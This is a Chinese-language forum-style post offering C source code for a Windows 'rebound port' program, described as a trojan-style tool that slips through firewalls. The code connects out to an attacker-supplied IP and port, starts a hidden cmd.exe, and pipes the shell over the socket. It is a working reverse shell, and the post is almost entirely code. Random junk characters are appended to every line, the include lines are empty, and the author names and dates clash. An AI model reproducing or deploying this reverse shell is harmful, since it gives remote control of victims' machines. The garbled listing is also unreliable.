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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &A`QPk8n  
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/* ============================== <k)rfv7  
Rebound port in Windows NT .FC1:y<aO  
By wind,2006/7 ]l\J"*"aB  
===============================*/ 4]g^aaQFd>  
#include vz _U  
#include QOOBCNe  
9:m+mpL=9  
#pragma comment(lib,"wsock32.lib") 6tJM*{$$H  
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void OutputShell(); 3j3AI 7c  
SOCKET sClient; 9K&b1O@Aj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yb]a p  
j jwY{jV  
void main(int argc,char **argv) mT9TSW}  
{ R{WG>c  
WSADATA stWsaData; $`riB$v  
int nRet; ^ yfT7050  
SOCKADDR_IN stSaiClient,stSaiServer; ](O!6_'d  
0 8U:{LL  
if(argc != 3) 7<) .luV  
{ QM$?}>:  
printf("Useage:\n\rRebound DestIP DestPort\n"); @U9ov >E  
return; Rk'pymap  
} Xh{EItk~oO  
c-3? D;  
WSAStartup(MAKEWORD(2,2),&stWsaData); 'tdjPdw  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BEY}mR]  
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stSaiClient.sin_family = AF_INET; s*Fmu7o43  
stSaiClient.sin_port = htons(0); 2yN~[, L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 68D.Li  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [k.<x'#  
{ v3[ 2!UXq  
printf("Bind Socket Failed!\n"); Aw5yvQ>]e  
return; [bZXzV(  
} UrtN3icph  
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stSaiServer.sin_family = AF_INET; hxv/285B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u=4tW:W,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ge E7<"m%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !]"T`^5,Y  
{ cLXMq"?C  
printf("Connect Error!"); eQNYfWR  
return; }6o` in>M  
} %II |;<  
OutputShell(); =T+<>/[  
} jbG #__#_  
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void OutputShell() /6f$%:q  
{ {!<zk+h$  
char szBuff[1024]; oEfKL`]B  
SECURITY_ATTRIBUTES stSecurityAttributes; t<Og ?m}(  
OSVERSIONINFO stOsversionInfo; h-6kf:XP%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;Neld #%J  
STARTUPINFO stStartupInfo; H_jMl$f)j  
char *szShell; 9iGJYMWf  
PROCESS_INFORMATION stProcessInformation; H*!E*_  
unsigned long lBytesRead; 3vMfms  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pV1~REk$&  
9_&.G4%V  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QYg2'`(  
stSecurityAttributes.lpSecurityDescriptor = 0; x=9drKIw>  
stSecurityAttributes.bInheritHandle = TRUE; B>JRta;hj  
f>Ij:b`Z2  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C7nLa@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aiz_6@Qfz*  
;]'mx  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }PoB`H'K5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xo'_|-N+  
stStartupInfo.wShowWindow = SW_HIDE; 0(64}T)  
stStartupInfo.hStdInput = hReadPipe; QV"  |  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tNq~M  
]r|X[9  
GetVersionEx(&stOsversionInfo); qi$6y?  
2r\ f!m'  
switch(stOsversionInfo.dwPlatformId) %kyvt t  
{ Es)Kw3^a  
case 1: U t0oh  
szShell = "command.com"; aLG6yVtu  
break; %\CsP!  
default: P0|V1,)  
szShell = "cmd.exe"; c!j$ -Ovm  
break; h19c*,0z!  
} Sl{]Z,  
1*#64Y5F  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); meE&, {  
3!#d&  
send(sClient,szMsg,77,0); 6=iz@C7r  
while(1) f7\$rx  
{ YQ;?N66  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wOn.m  
if(lBytesRead) | tyVC=${  
{ (Y:5u}*Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cbNrto9  
send(sClient,szBuff,lBytesRead,0); 6 fL=2a  
} xa??OT`(  
else h>q& X4-  
{ YiB^m   
lBytesRead=recv(sClient,szBuff,1024,0); &h')snp:#  
if(lBytesRead<=0) break; 8|HuxE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TU^UR}=lP  
} ]~GwZB'M  
} 7<=xc'*8t  
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return; h# B%'9r  
}
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